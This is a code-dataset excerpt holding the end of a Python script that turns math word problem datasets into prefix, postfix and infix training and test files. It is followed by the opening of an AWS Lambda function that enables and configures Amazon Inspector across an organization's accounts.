problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lEquations\":\n desired_key = \"equation\"\n\n value = value[0]\n\n value = remove_point_zero(value)\n\n problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lSolutions\":\n desired_key = \"answer\"\n\n problem.append((desired_key,\n to_lower_case(value[0])))\n else:\n problem.append((desired_key,\n to_lower_case(value)))\n\n if has_all_data == True and problem != []:\n problem_list.append(problem)\n ILLINOIS.append(problem)\n\n print(f\"-> Retrieved {len(problem_list)} / {len(json_data)} problems.\")\n\n print(\"...done.\\n\")\n\n return \"Illinois\"\n\n\ndef transform_MaWPS():\n print(\"\\nWorking on MaWPS data...\")\n\n path = os.path.join(DIR_PATH, \"../datasets/MaWPS/questions.json\")\n\n problem_list = []\n\n with open(path, encoding='utf-8-sig') as fh:\n json_data = json.load(fh)\n\n for i in range(len(json_data)):\n # A MWP\n problem = []\n\n has_all_data = True\n\n data = json_data[i]\n if \"sQuestion\" in data and \"lEquations\" in data and \"lSolutions\" in data:\n for key, value in data.items():\n if key == \"sQuestion\" or key == \"lEquations\" or key == \"lSolutions\":\n if len(value) == 0 or (len(value) > 1 and (key == \"lEquations\" or key == \"lSolutions\")):\n has_all_data = False\n\n if key == \"sQuestion\":\n desired_key = \"question\"\n\n value = one_sentence_clean(value)\n value = remove_point_zero(value)\n\n problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lEquations\":\n if len(value) > 1:\n continue\n\n desired_key = \"equation\"\n\n value = value[0]\n\n value = remove_point_zero(value)\n\n problem.append((desired_key,\n to_lower_case(value)))\n elif key == \"lSolutions\":\n desired_key = \"answer\"\n\n problem.append((desired_key,\n to_lower_case(value[0])))\n else:\n problem.append((desired_key,\n to_lower_case(value)))\n\n if has_all_data == True and problem != []:\n problem_list.append(problem)\n MAWPS.append(problem)\n\n print(f\"-> Retrieved {len(problem_list)} / {len(json_data)} problems.\")\n\n print(\"...done.\\n\")\n\n return \"MaWPS\"\n\n\ndef transform_custom():\n print(\"\\nWorking on generated data...\")\n\n path = os.path.join(DIR_PATH, \"../gen.p\")\n\n problem_list = []\n\n with open(path, \"rb\") as fh:\n file_data = pickle.load(fh)\n\n for problem in file_data:\n if problem != []:\n problem_list.append(problem)\n GENERATED.append(problem)\n\n print(f\"-> Retrieved {len(problem_list)} / {len(file_data)} problems.\")\n\n print(\"...done.\\n\")\n\n return \"Custom\"\n\n\ndef transform_all_datasets():\n total_datasets = []\n\n # Iteratively rework all the data\n total_datasets.append(transform_AI2())\n total_datasets.append(transform_CommonCore())\n total_datasets.append(transform_Illinois())\n total_datasets.append(transform_MaWPS())\n if USE_GENERATED:\n total_datasets.append(transform_custom())\n\n return total_datasets\n\n\ndef convert_to(l, t):\n output = []\n\n for p in l:\n p_dict = dict(p)\n\n ol = []\n\n discard = False\n\n for k, v in p_dict.items():\n if k == \"equation\":\n convert = EquationConverter()\n convert.eqset(v)\n\n if t == \"infix\":\n ov = convert.expr_as_infix()\n elif t == \"prefix\":\n ov = convert.expr_as_prefix()\n elif t == \"postfix\":\n ov = convert.expr_as_postfix()\n\n if re.match(r\"[a-z] = .*\\d+.*\", ov):\n ol.append((k, word_operators(ov)))\n else:\n discard = True\n else:\n ol.append((k, v))\n\n if not discard:\n output.append(ol)\n\n return output\n\n\nif __name__ == \"__main__\":\n print(\"Transforming all original datasets...\")\n print(f\"Splitting {(1 - TEST_SPLIT) * 100}% for training.\")\n print(\"NOTE: Find resulting data binaries in the data folder.\")\n\n total_filtered_datasets = transform_all_datasets()\n\n # Split\n AI2_TEST = AI2[:int(len(AI2) * TEST_SPLIT)]\n AI2 = AI2[int(len(AI2) * TEST_SPLIT):]\n\n COMMONCORE_TEST = COMMONCORE[:int(len(COMMONCORE) * TEST_SPLIT)]\n COMMONCORE = COMMONCORE[int(len(COMMONCORE) * TEST_SPLIT):]\n\n ILLINOIS_TEST = ILLINOIS[:int(len(ILLINOIS) * TEST_SPLIT)]\n ILLINOIS = ILLINOIS[int(len(ILLINOIS) * TEST_SPLIT):]\n\n MAWPS_TEST = MAWPS[:int(len(MAWPS) * TEST_SPLIT)]\n MAWPS = MAWPS[int(len(MAWPS) * TEST_SPLIT):]\n\n if USE_GENERATED:\n GENERATED_TEST = GENERATED[:int(len(GENERATED) * TEST_SPLIT)]\n GENERATED = GENERATED[int(len(GENERATED) * TEST_SPLIT):]\n random.shuffle(GENERATED)\n\n random.shuffle(AI2)\n random.shuffle(COMMONCORE)\n random.shuffle(ILLINOIS)\n random.shuffle(MAWPS)\n\n PROBLEM_LIST = AI2 + COMMONCORE + ILLINOIS + MAWPS + GENERATED\n\n # Randomize\n random.shuffle(PROBLEM_LIST)\n\n # AI2 testing data\n test_pre_ai2 = convert_to(AI2_TEST, \"prefix\")\n test_pos_ai2 = convert_to(AI2_TEST, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n test_inf_ai2 = remove_variables(AI2_TEST)\n test_inf_ai2 = test_inf_ai2[:len(test_pos_ai2)]\n else:\n test_inf_ai2 = convert_to(AI2_TEST, \"infix\")\n\n to_binary(os.path.join(DIR_PATH, \"../test_ai_prefix.p\"),\n test_pre_ai2)\n to_binary(os.path.join(DIR_PATH, \"../test_ai_postfix.p\"),\n test_pos_ai2)\n to_binary(os.path.join(DIR_PATH, \"../test_ai_infix.p\"),\n test_inf_ai2)\n\n # AI2 training data\n pre_ai2 = convert_to(AI2, \"prefix\")\n pos_ai2 = convert_to(AI2, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n inf_ai2 = remove_variables(AI2)\n inf_ai2 = inf_ai2[:len(pos_ai2)]\n else:\n inf_ai2 = convert_to(AI2, \"infix\")\n\n if MAKE_IND_SETS:\n to_binary(os.path.join(DIR_PATH, \"../train_ai_prefix.p\"),\n pre_ai2)\n to_binary(os.path.join(DIR_PATH, \"../train_ai_postfix.p\"),\n pos_ai2)\n to_binary(os.path.join(DIR_PATH, \"../train_ai_infix.p\"),\n inf_ai2)\n\n # Common Core testing data\n test_pre_common = convert_to(COMMONCORE_TEST, \"prefix\")\n test_pos_common = convert_to(COMMONCORE_TEST, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n test_inf_common = remove_variables(COMMONCORE_TEST)\n test_inf_common = test_inf_common[:len(test_pos_common)]\n else:\n test_inf_common = convert_to(COMMONCORE_TEST, \"infix\")\n\n to_binary(os.path.join(DIR_PATH, \"../test_cc_prefix.p\"),\n test_pre_common)\n to_binary(os.path.join(DIR_PATH, \"../test_cc_postfix.p\"),\n test_pos_common)\n to_binary(os.path.join(DIR_PATH, \"../test_cc_infix.p\"),\n test_inf_common)\n\n # Common Core training data\n pre_common = convert_to(COMMONCORE, \"prefix\")\n pos_common = convert_to(COMMONCORE, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n inf_common = remove_variables(COMMONCORE)\n inf_common = inf_common[:len(pos_common)]\n else:\n inf_common = convert_to(COMMONCORE, \"infix\")\n\n if MAKE_IND_SETS:\n to_binary(os.path.join(DIR_PATH, \"../train_cc_prefix.p\"),\n pre_common)\n to_binary(os.path.join(DIR_PATH, \"../train_cc_postfix.p\"),\n pos_common)\n to_binary(os.path.join(DIR_PATH, \"../train_cc_infix.p\"),\n inf_common)\n\n # Illinois testing data\n test_pre_il = convert_to(ILLINOIS_TEST, \"prefix\")\n test_pos_il = convert_to(ILLINOIS_TEST, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n test_inf_il = remove_variables(ILLINOIS_TEST)\n test_inf_il = test_inf_il[:len(test_pos_il)]\n else:\n test_inf_il = convert_to(ILLINOIS_TEST, \"infix\")\n\n to_binary(os.path.join(DIR_PATH, \"../test_il_prefix.p\"),\n test_pre_il)\n to_binary(os.path.join(DIR_PATH, \"../test_il_postfix.p\"),\n test_pos_il)\n to_binary(os.path.join(DIR_PATH, \"../test_il_infix.p\"),\n test_inf_il)\n\n # Illinois training data\n pre_il = convert_to(ILLINOIS, \"prefix\")\n pos_il = convert_to(ILLINOIS, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n inf_il = remove_variables(ILLINOIS)\n inf_il = inf_il[:len(pos_il)]\n else:\n inf_il = convert_to(ILLINOIS, \"infix\")\n\n if MAKE_IND_SETS:\n to_binary(os.path.join(DIR_PATH, \"../train_il_prefix.p\"),\n pre_il)\n to_binary(os.path.join(DIR_PATH, \"../train_il_postfix.p\"),\n pos_il)\n to_binary(os.path.join(DIR_PATH, \"../train_il_infix.p\"),\n inf_il)\n\n # MAWPS testing data\n test_pre_mawps = convert_to(MAWPS_TEST, \"prefix\")\n test_pos_mawps = convert_to(MAWPS_TEST, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n test_inf_mawps = remove_variables(MAWPS_TEST)\n test_inf_mawps = test_inf_mawps[:len(test_pos_mawps)]\n else:\n test_inf_mawps = convert_to(MAWPS_TEST, \"infix\")\n\n to_binary(os.path.join(DIR_PATH, \"../test_mawps_prefix.p\"),\n test_pre_mawps)\n to_binary(os.path.join(DIR_PATH, \"../test_mawps_postfix.p\"),\n test_pos_mawps)\n to_binary(os.path.join(DIR_PATH, \"../test_mawps_infix.p\"),\n test_inf_mawps)\n\n # MAWPS training data\n pre_mawps = convert_to(MAWPS, \"prefix\")\n pos_mawps = convert_to(MAWPS, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n inf_mawps = remove_variables(MAWPS)\n inf_mawps = inf_mawps[:len(pos_mawps)]\n else:\n inf_mawps = convert_to(MAWPS, \"infix\")\n\n if MAKE_IND_SETS:\n to_binary(os.path.join(DIR_PATH, \"../train_mawps_prefix.p\"),\n pre_mawps)\n to_binary(os.path.join(DIR_PATH, \"../train_mawps_postfix.p\"),\n pos_mawps)\n to_binary(os.path.join(DIR_PATH, \"../train_mawps_infix.p\"),\n inf_mawps)\n\n if USE_GENERATED:\n # GENERATED testing data\n test_pre_gen = convert_to(GENERATED_TEST, \"prefix\")\n test_pos_gen = convert_to(GENERATED_TEST, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n test_inf_gen = remove_variables(GENERATED_TEST)\n test_inf_gen = test_inf_gen[:len(test_pos_gen)]\n else:\n test_inf_gen = convert_to(GENERATED_TEST, \"infix\")\n\n to_binary(os.path.join(DIR_PATH, \"../test_gen_prefix.p\"),\n test_pre_gen)\n to_binary(os.path.join(DIR_PATH, \"../test_gen_postfix.p\"),\n test_pos_gen)\n to_binary(os.path.join(DIR_PATH, \"../test_gen_infix.p\"),\n test_inf_gen)\n\n # GENERATED training data\n pre_gen = convert_to(GENERATED, \"prefix\")\n pos_gen = convert_to(GENERATED, \"postfix\")\n if KEEP_INFIX_PARENTHESIS:\n inf_gen = remove_variables(GENERATED)\n inf_gen = inf_gen[:len(pos_gen)]\n else:\n inf_gen = convert_to(GENERATED, \"infix\")\n\n if MAKE_IND_SETS:\n to_binary(os.path.join(DIR_PATH, \"../train_gen_prefix.p\"),\n pre_gen)\n to_binary(os.path.join(DIR_PATH, \"../train_gen_postfix.p\"),\n pos_gen)\n to_binary(os.path.join(DIR_PATH, \"../train_gen_infix.p\"),\n inf_gen)\n\n combined_prefix = pre_ai2 + pre_common + pre_il + pre_mawps\n if USE_GENERATED:\n combined_prefix += pre_gen\n random.shuffle(combined_prefix)\n to_binary(os.path.join(DIR_PATH, \"../train_all_prefix.p\"),\n combined_prefix)\n\n combined_postfix = pos_ai2 + pos_common + pos_il + pos_mawps\n if USE_GENERATED:\n combined_postfix += pos_gen\n random.shuffle(combined_postfix)\n to_binary(os.path.join(DIR_PATH, \"../train_all_postfix.p\"),\n combined_postfix)\n\n combined_infix = inf_ai2 + inf_common + inf_il + inf_mawps\n if USE_GENERATED:\n combined_infix += inf_gen\n random.shuffle(combined_infix)\n combined_infix = remove_variables(combined_infix)\n if not KEEP_INFIX_PARENTHESIS:\n combined_infix = convert_to(combined_infix, \"infix\")\n to_binary(os.path.join(DIR_PATH, \"../train_all_infix.p\"),\n combined_infix)\n\n print(\"\\nCreating a small debugging file...\")\n\n small_data = []\n\n for p in PROBLEM_LIST[:100]:\n small_data.append(p)\n\n to_binary(os.path.join(DIR_PATH, \"../debug.p\"), small_data)\n\n print(\"...done.\")\n\n # Remove old data statistic file\n if os.path.isfile(DATA_STATS):\n os.remove(DATA_STATS)\n\n # Write the information about what data was created\n with open(DATA_STATS, \"w\") as fh:\n fh.write(\"Data file information. \"\n + \"All of the binaries are described below.\\n\\n\")\n fh.write(f\"Testing Split: {TEST_SPLIT * 100}%\\n\\n\")\n fh.write(\"Original: \")\n fh.write(\"%d problems\\n\" % len(PROBLEM_LIST))\n fh.write(\"Debugging Data: \")\n fh.write(\"%d problems\\n\" % len(small_data))\n fh.write(\"\\nGenerated Data: \")\n fh.write(\"%d problems\\n\" % len(GENERATED))\n fh.write(\"\\nInfix Data: \")\n fh.write(\"%d problems\\n\" % len(CLEAN_INFIX_CONVERTED_PROBLEM_LIST))\n fh.write(\"Prefix Data: \")\n fh.write(\"%d problems\\n\" % len(POLISH_CONVERTED_PROBLEM_LIST))\n fh.write(\"Postfix Data: \")\n fh.write(\"%d problems\\n\" % len(REVERSE_POLISH_CONVERTED_PROBLEM_LIST))\n if MAKE_IND_SETS:\n fh.write(\"\\nAI2 Train: \")\n fh.write(\"%d problems\\n\" % len(AI2))\n fh.write(\"Common Core Train: \")\n fh.write(\"%d problems\\n\" % len(COMMONCORE))\n fh.write(\"Illinois Train: \")\n fh.write(\"%d problems\\n\" % len(ILLINOIS))\n fh.write(\"MAWPS Train: \")\n fh.write(\"%d problems\\n\" % len(MAWPS))\n fh.write(\"Generated MWPs (gen): \")\n fh.write(\"%d problems\\n\" % len(GENERATED))\n fh.write(\"\\nAI2 Test (Infix): \")\n fh.write(\"%d problems\\n\" % len(test_inf_ai2))\n fh.write(\"AI2 Test (Prefix): \")\n fh.write(\"%d problems\\n\" % len(test_pre_ai2))\n fh.write(\"AI2 Test (Postfix): \")\n fh.write(\"%d problems\\n\" % len(test_pos_ai2))\n fh.write(\"Common Core Test (Infix): \")\n fh.write(\"%d problems\\n\" % len(test_inf_common))\n fh.write(\"Common Core Test (Prefix): \")\n fh.write(\"%d problems\\n\" % len(test_pre_common))\n fh.write(\"Common Core Test (Postfix): \")\n fh.write(\"%d problems\\n\" % len(test_pos_common))\n fh.write(\"Illinois Test (Infix): \")\n fh.write(\"%d problems\\n\" % len(test_inf_il))\n fh.write(\"Illinois Test (Prefix): \")\n fh.write(\"%d problems\\n\" % len(test_pre_il))\n fh.write(\"Illinois Test (Postfix): \")\n fh.write(\"%d problems\\n\" % len(test_pos_il))\n fh.write(\"MAWPS Test (Infix): \")\n fh.write(\"%d problems\\n\" % len(test_inf_mawps))\n fh.write(\"MAWPS Test (Prefix): \")\n fh.write(\"%d problems\\n\" % len(test_pre_mawps))\n fh.write(\"MAWPS Test (Postfix): \")\n fh.write(\"%d problems\\n\" % len(test_pos_mawps))\n","repo_name":"kadengriffith/MWP-Automatic-Solver","sub_path":"data/util/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":23626,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"47"} +{"seq_id":"6251120077","text":"from __future__ import annotations\n\nimport json\nimport logging\nimport os\nimport re\nfrom time import sleep\nfrom typing import TYPE_CHECKING, Any, Dict, Literal, Optional\n\nimport boto3\nimport common\nimport inspector\nfrom crhelper import CfnResource\n\nif TYPE_CHECKING:\n from aws_lambda_typing.context import Context\n from aws_lambda_typing.events import CloudFormationCustomResourceEvent\n from mypy_boto3_inspector2.type_defs import AutoEnableTypeDef\n from mypy_boto3_organizations import OrganizationsClient\n from mypy_boto3_sns import SNSClient\n from mypy_boto3_sns.type_defs import PublishBatchResponseTypeDef\n\nLOGGER = logging.getLogger(\"sra\")\nlog_level: str = os.environ.get(\"LOG_LEVEL\", \"ERROR\")\nLOGGER.setLevel(log_level)\n\nUNEXPECTED = \"Unexpected!\"\nSERVICE_NAME = \"inspector2.amazonaws.com\"\nSNS_PUBLISH_BATCH_MAX = 10\nALL_INSPECTOR_SCAN_COMPONENTS = [\"EC2\", \"ECR\", \"LAMBDA\", \"LAMBDA_CODE\"]\n\nhelper = CfnResource(json_logging=True, log_level=log_level, boto_level=\"CRITICAL\", sleep_on_delete=120)\n\ntry:\n MANAGEMENT_ACCOUNT_SESSION = boto3.Session()\n ORG_CLIENT: OrganizationsClient = MANAGEMENT_ACCOUNT_SESSION.client(\"organizations\")\n SNS_CLIENT: SNSClient = MANAGEMENT_ACCOUNT_SESSION.client(\"sns\")\nexcept Exception:\n LOGGER.exception(UNEXPECTED)\n raise ValueError(\"Unexpected error executing Lambda function. Review CloudWatch logs for details.\") from None\n\n\ndef process_add_update_event(params: dict, regions: list, accounts: list) -> None:\n \"\"\"Process Add or Update Events.\n\n Args:\n params: Configuration Parameters\n regions: list of regions\n accounts: list of accounts\n\n Returns:\n Status\n \"\"\"\n LOGGER.info(\"...process_add_update_event\")\n\n if params[\"action\"] == \"Add\":\n LOGGER.info(\"...Enable Inspector\")\n setup_inspector_global(params, regions, accounts)\n LOGGER.info(\"...ADD_UPDATE_COMPLETE\")\n return\n if params[\"action\"] == \"Update\":\n LOGGER.info(\"...Update Inspector\")\n setup_inspector_global(params, regions, accounts)\n LOGGER.info(\"...ADD_UPDATE_COMPLETE\")\n\n LOGGER.info(\"...ADD_UPDATE_NO_EVENT\")\n\n\ndef process_event(event: dict) -> None:\n \"\"\"Process Event.\n\n Args:\n event: event data\n \"\"\"\n event_info = {\"Event\": event}\n LOGGER.info(event_info)\n params = get_validated_parameters({\"RequestType\": \"Update\"})\n\n excluded_accounts: list = [params[\"DELEGATED_ADMIN_ACCOUNT_ID\"]]\n accounts = common.get_active_organization_accounts(excluded_accounts)\n regions = common.get_enabled_regions(params[\"ENABLED_REGIONS\"], params[\"CONTROL_TOWER_REGIONS_ONLY\"] == \"true\")\n\n process_add_update_event(params, regions, accounts)\n\n\ndef parameter_pattern_validator(parameter_name: str, parameter_value: Optional[str], pattern: str, is_optional: bool = False) -> dict:\n \"\"\"Validate CloudFormation Custom Resource Properties and/or Lambda Function Environment Variables.\n\n Args:\n parameter_name: CloudFormation custom resource parameter name and/or Lambda function environment variable name\n parameter_value: CloudFormation custom resource parameter value and/or Lambda function environment variable value\n pattern: REGEX pattern to validate against.\n is_optional: Allow empty or missing value when True\n\n Raises:\n ValueError: Parameter has a value of empty string.\n ValueError: Parameter is missing\n ValueError: Parameter does not follow the allowed pattern\n\n Returns:\n Validated Parameter\n \"\"\"\n if parameter_value == \"\" and not is_optional:\n raise ValueError(f\"({parameter_name}) parameter has a value of empty string.\")\n elif not parameter_value and not is_optional:\n raise ValueError(f\"({parameter_name}) parameter is missing.\")\n elif not re.match(pattern, str(parameter_value)):\n raise ValueError(f\"({parameter_name}) parameter with value of ({parameter_value})\" + f\" does not follow the allowed pattern: {pattern}.\")\n return {parameter_name: parameter_value}\n\n\ndef get_validated_parameters(event: Dict[str, Any]) -> dict:\n \"\"\"Validate AWS CloudFormation parameters.\n\n Args:\n event: event data\n\n Returns:\n Validated parameters\n \"\"\"\n params = {}\n actions = {\"Create\": \"Add\", \"Update\": \"Update\", \"Delete\": \"Remove\"}\n params[\"action\"] = actions[event.get(\"RequestType\", \"Create\")]\n true_false_pattern = r\"^true|false$\"\n sns_topic_pattern = r\"^arn:(aws[a-zA-Z-]*){1}:sns:[a-z0-9-]+:\\d{12}:[0-9a-zA-Z]+([0-9a-zA-Z-]*[0-9a-zA-Z])*$\"\n\n # Required Parameters\n params.update(\n parameter_pattern_validator(\n \"AWS_PARTITION\",\n os.environ.get(\"AWS_PARTITION\"),\n pattern=r\"^(aws[a-zA-Z-]*)?$\",\n )\n )\n params.update(\n parameter_pattern_validator(\n \"CONFIGURATION_ROLE_NAME\",\n os.environ.get(\"CONFIGURATION_ROLE_NAME\"),\n pattern=r\"^[\\w+=,.@-]{1,64}$\",\n )\n )\n params.update(\n parameter_pattern_validator(\n \"CONTROL_TOWER_REGIONS_ONLY\",\n os.environ.get(\"CONTROL_TOWER_REGIONS_ONLY\"),\n pattern=true_false_pattern,\n )\n )\n params.update(\n parameter_pattern_validator(\n \"DELEGATED_ADMIN_ACCOUNT_ID\",\n os.environ.get(\"DELEGATED_ADMIN_ACCOUNT_ID\"),\n pattern=r\"^\\d{12}$\",\n )\n )\n params.update(\n parameter_pattern_validator(\n \"MANAGEMENT_ACCOUNT_ID\",\n os.environ.get(\"MANAGEMENT_ACCOUNT_ID\"),\n pattern=r\"^\\d{12}$\",\n )\n )\n params.update(parameter_pattern_validator(\"SNS_TOPIC_ARN\", os.environ.get(\"SNS_TOPIC_ARN\"), pattern=sns_topic_pattern))\n params.update(\n parameter_pattern_validator(\n \"SCAN_COMPONENTS\",\n os.environ.get(\"SCAN_COMPONENTS\"),\n pattern=r\"(?i)^((ec2|ecr|lambda|lambda_code),?){0,3}(ec2|ecr|lambda|lambda_code){1}$\",\n )\n )\n params.update(parameter_pattern_validator(\"ECR_SCAN_DURATION\", os.environ.get(\"ECR_SCAN_DURATION\"), pattern=r\"^(LIFETIME|DAYS_30|DAYS_180){1}$\"))\n\n # Optional Parameters\n params.update(\n parameter_pattern_validator(\n \"ENABLED_REGIONS\",\n os.environ.get(\"ENABLED_REGIONS\"),\n pattern=r\"^$|[a-z0-9-, ]+$\",\n is_optional=True,\n )\n )\n\n return params\n\n\ndef deregister_delegated_administrator(delegated_admin_account_id: str, service_principal: str = SERVICE_NAME) -> None:\n \"\"\"Deregister the delegated administrator account for the provided service principal within AWS Organizations.\n\n Args:\n delegated_admin_account_id: Delegated Admin Account\n service_principal: Service Principal\n \"\"\"\n try:\n LOGGER.info(f\"Deregistering the delegated admin {delegated_admin_account_id} for {service_principal}\")\n\n ORG_CLIENT.deregister_delegated_administrator(AccountId=delegated_admin_account_id, ServicePrincipal=service_principal)\n except ORG_CLIENT.exceptions.AccountNotRegisteredException as error:\n LOGGER.info(f\"Account ({delegated_admin_account_id}) is not a registered delegated administrator: {error}\")\n\n\ndef check_aws_service_access(service_principal: str = SERVICE_NAME) -> bool:\n \"\"\"Check service access for the provided service principal within AWS Organizations.\n\n Args:\n service_principal: Service Principal. Defaults to SERVICE_NAME.\n\n Returns:\n bool: service access enabled true/false\n \"\"\"\n aws_service_access_enabled = False\n LOGGER.info(f\"Checking service access for {service_principal}...\")\n try:\n org_svc_response = ORG_CLIENT.list_aws_service_access_for_organization()\n api_call_details = {\n \"API_Call\": \"organizations:ListAwsServiceAccessForOrganization\",\n \"API_Response\": org_svc_response,\n }\n LOGGER.info(api_call_details)\n\n for service in org_svc_response[\"EnabledServicePrincipals\"]:\n if service[\"ServicePrincipal\"] == service_principal:\n aws_service_access_enabled = True\n return True\n except ORG_CLIENT.exceptions.AccessDeniedException as error:\n LOGGER.info(f\"Unable to check service access for {service_principal}: {error}\")\n return aws_service_access_enabled\n\n\ndef check_delegated_administrator(delegated_admin_account: str, service_principal: str = SERVICE_NAME) -> bool:\n \"\"\"Check delegated administrator for the provided service principal within AWS Organizations.\n\n Args:\n delegated_admin_account: delegated admin account Id\n service_principal: Service Principal Defaults to SERVICE_NAME.\n\n Returns:\n bool: delegated administrator enabled true/false\n \"\"\"\n delegated_administrator_enabled = False\n try:\n LOGGER.info(f\"Checking delegated admin for {service_principal}\")\n list_delegated_admin_response = ORG_CLIENT.list_delegated_administrators(\n ServicePrincipal=service_principal,\n )\n for delegated_admin in list_delegated_admin_response[\"DelegatedAdministrators\"]:\n if delegated_admin[\"Id\"] == delegated_admin_account:\n LOGGER.info(\"Delegated admin account setup\")\n delegated_administrator_enabled = True\n except ORG_CLIENT.exceptions.AccessDeniedException as error:\n LOGGER.info(f\"Unable to check delegated admin for {service_principal}: {error}\")\n return delegated_administrator_enabled\n\n\ndef enable_aws_service_access(service_principal: str = SERVICE_NAME) -> None:\n \"\"\"Enable service access for the provided service principal within AWS Organizations.\n\n Args:\n service_principal: Service Principal\n \"\"\"\n if check_aws_service_access(service_principal) is False:\n try:\n LOGGER.info(f\"Enabling service access for {service_principal}\")\n ORG_CLIENT.enable_aws_service_access(ServicePrincipal=service_principal)\n except ORG_CLIENT.exceptions.AccessDeniedException as error:\n LOGGER.info(f\"Failed to enable service access for {service_principal} in organizations: {error}\")\n else:\n LOGGER.info(f\"Organizations service access for {service_principal} is already enabled\")\n\n\ndef register_delegated_administrator(delegated_admin_account: str, service_principal: str = SERVICE_NAME) -> None:\n \"\"\"Register delegated administrator for the provided service principal within AWS Organizations.\n\n Args:\n delegated_admin_account: delegated admin account Id\n service_principal: Service Principal\n \"\"\"\n if check_delegated_administrator(delegated_admin_account, service_principal) is False:\n LOGGER.info(f\"Designating delegated admin account ({delegated_admin_account}) for {service_principal}\")\n try:\n ORG_CLIENT.register_delegated_administrator(AccountId=delegated_admin_account, ServicePrincipal=service_principal)\n except ORG_CLIENT.exceptions.AccountAlreadyRegisteredException as error:\n LOGGER.info(f\"Delegated admin account ({delegated_admin_account}) already registered for {service_principal}: {error}\")\n else:\n LOGGER.info(f\"Organizations delegated administrator ({delegated_admin_account} for {service_principal} is already set.\")\n\n\ndef disable_aws_service_access(service_principal: str = SERVICE_NAME) -> None:\n \"\"\"Disable service access for the provided service principal within AWS Organizations.\n\n Args:\n service_principal: Service Principal\n \"\"\"\n try:\n LOGGER.info(f\"Disabling service access for {service_principal}\")\n\n ORG_CLIENT.disable_aws_service_access(ServicePrincipal=service_principal)\n except ORG_CLIENT.exceptions.AccountNotRegisteredException as error:\n LOGGER.info(f\"Service ({service_principal}) does not have organizations access revoked: {error}\")\n\n\ndef disabled_inspector_service(params: dict, regions: list) -> None:\n \"\"\"Primary function to remove all components of the inspector sra feature.\n\n Args:\n params: Configuration Parameters\n regions: list of regions\n \"\"\"\n LOGGER.info(\"Remove inspector\")\n LOGGER.info(f\"disabled_inspector_service: ALL_INSPECTOR_SCAN_COMPONENTS as ({ALL_INSPECTOR_SCAN_COMPONENTS})\")\n inspector.disable_inspector_in_associated_member_accounts(\n params[\"DELEGATED_ADMIN_ACCOUNT_ID\"], params[\"CONFIGURATION_ROLE_NAME\"], regions, ALL_INSPECTOR_SCAN_COMPONENTS\n )\n\n inspector.disable_auto_scanning_in_org(params[\"DELEGATED_ADMIN_ACCOUNT_ID\"], params[\"CONFIGURATION_ROLE_NAME\"], regions)\n\n inspector.disable_organization_admin_account(regions)\n\n inspector.disable_inspector2_in_mgmt_and_delegated_admin(\n regions,\n params[\"CONFIGURATION_ROLE_NAME\"],\n params[\"MANAGEMENT_ACCOUNT_ID\"],\n params[\"DELEGATED_ADMIN_ACCOUNT_ID\"],\n ALL_INSPECTOR_SCAN_COMPONENTS,\n )\n\n deregister_delegated_administrator(params[\"DELEGATED_ADMIN_ACCOUNT_ID\"], SERVICE_NAME)\n\n disable_aws_service_access(SERVICE_NAME)\n\n\ndef setup_inspector_global(params: dict, regions: list, accounts: list) -> None:\n \"\"\"Enable the inspector service and configure its global settings.\n\n Args:\n params: Configuration Parameters\n regions: list of regions\n accounts: list of accounts\n \"\"\"\n enable_aws_service_access(SERVICE_NAME)\n\n register_delegated_administrator(params[\"DELEGATED_ADMIN_ACCOUNT_ID\"], SERVICE_NAME)\n\n inspector.create_service_linked_role(params[\"MANAGEMENT_ACCOUNT_ID\"], params[\"CONFIGURATION_ROLE_NAME\"])\n for account in accounts:\n inspector.create_service_linked_role(account[\"AccountId\"], params[\"CONFIGURATION_ROLE_NAME\"])\n\n create_sns_messages(accounts, regions, params[\"SNS_TOPIC_ARN\"], \"configure\")\n\n\ndef setup_inspector_in_region(\n region: str,\n accounts: list,\n delegated_admin_account: str,\n management_account: str,\n configuration_role_name: str,\n scan_components: list,\n ecr_scan_duration: Literal[\"DAYS_180\", \"DAYS_30\", \"LIFETIME\"],\n) -> None:\n \"\"\"Regional setup process of the inspector feature.\n\n Args:\n region: region\n accounts: list of account Ids\n delegated_admin_account: account Id of the delegated admin account\n management_account: account Id of the management account\n configuration_role_name: name of the configuration role\n scan_components: list of components to scan\n ecr_scan_duration: ecr scan duration\n \"\"\"\n scan_component_dict: AutoEnableTypeDef = {\"ec2\": False, \"ecr\": False, \"lambda\": False, \"lambdaCode\": False}\n for scan_component in scan_components:\n scan_component_dict[common.snake_to_camel(scan_component)] = True # type: ignore\n\n if scan_component_dict[\"lambdaCode\"] and not scan_component_dict[\"lambda\"]:\n scan_component_dict[\"lambda\"] = True\n\n disabled_components: list = []\n for scan_component in scan_component_dict:\n if scan_component_dict[scan_component] is False: # type: ignore\n disabled_components.append(scan_component)\n\n LOGGER.info(f\"setup_inspector_in_region: scan_components - ({scan_components}) in {region}\")\n LOGGER.info(f\"setup_inspector_in_region: created scan_component_dict as ({scan_component_dict})\")\n inspector.enable_inspector2_in_mgmt_and_delegated_admin(\n region, configuration_role_name, management_account, delegated_admin_account, scan_components\n )\n\n inspector.set_inspector_delegated_admin_in_mgmt(delegated_admin_account, region)\n LOGGER.info(\"Waiting 20 seconds before configuring inspector org auto-enable.\")\n sleep(20)\n\n inspector.set_auto_enable_inspector_in_org(region, configuration_role_name, delegated_admin_account, scan_component_dict)\n\n LOGGER.info(f\"setup_inspector_in_region: ECR_SCAN_DURATION - {ecr_scan_duration}\")\n inspector.set_ecr_scan_duration(region, configuration_role_name, delegated_admin_account, ecr_scan_duration)\n\n inspector.associate_inspector_member_accounts(configuration_role_name, delegated_admin_account, accounts, region)\n\n inspector.enable_inspector2_in_member_accounts(region, configuration_role_name, delegated_admin_account, scan_components, accounts)\n LOGGER.info(\"Waiting 20 seconds before checking for components that need to be disabled.\")\n sleep(20)\n\n all_accounts: list = []\n for account in accounts:\n all_accounts.append(account[\"AccountId\"])\n 